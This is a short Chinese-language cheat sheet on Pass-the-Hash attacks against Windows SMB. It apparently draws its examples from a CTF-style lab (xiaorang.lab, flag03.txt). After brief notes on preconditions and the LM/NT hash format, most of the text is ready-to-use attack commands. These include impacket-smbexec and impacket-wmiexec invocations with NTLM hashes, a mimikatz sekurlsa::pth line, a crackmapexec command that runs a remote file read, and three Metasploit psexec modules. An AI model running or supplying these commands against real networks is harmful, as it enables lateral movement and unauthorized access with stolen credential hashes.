PTH
PASS THE Hash 也叫 Hash 传递攻击,用于模拟用户登录不需要用户明文密码只需要就可以直接用获取到的 Hash 来登录目标系统
利用前提条件
- 开启 445 端口 SMB 服务
- 开启 admin$ 共享
一个用户存储的 HASH 可能如下:
1 | * LM : AAD3B435B51404EEAAD3B435B51404EE |
NTLM Hash = LM Hash + NT Hash
LM 已经被弃用
当 LM Hash 为 AAD3B435B51404EEAAD3B435B51404EE 时,可能密码为空或者没有存储 LM HASH
有些工具可能需要输入 Hash 的格式为 LM Hash:NT Hash,没有 LM Hash 可以使用任意 32 个字符填充
利用方式
impacket-smbexec
1 | impacket-smbexec -hashes :2c66200c70475bd322b880f813f34d7a administrator@172.22.8.15 |
impacket-wmiexec
1 | proxychains impacket-wmiexec XIAORANG/WIN2016\$@172.22.6.25 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 |
mimikataz
1 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:2c66200c70475bd322b880f813f34d7a" exit |
crackmapexec
1 | proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 2c66200c70475bd322b880f813f34d7a -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt" |
Metasploit
Metasploit 有3个 psexec 模块可以进行 PTH 攻击,分别是:
1 | 执行单个命令的 PTH 模块 |
auxiliary/admin/smb/psexec_command
1 | msf5 > use auxiliary/admin/smb/psexec_command |
该模块不支持网段批量验证
exploit/windows/smb/psexec
支持网段格式的 IP,方便批量验证 PTH
1 | msf5 > use exploit/windows/smb/psexec |
exploit/windows/smb/psexec_psh
该工具也支持支持网段格式的 IP
1 | msf5 > use exploit/windows/smb/psexec_psh |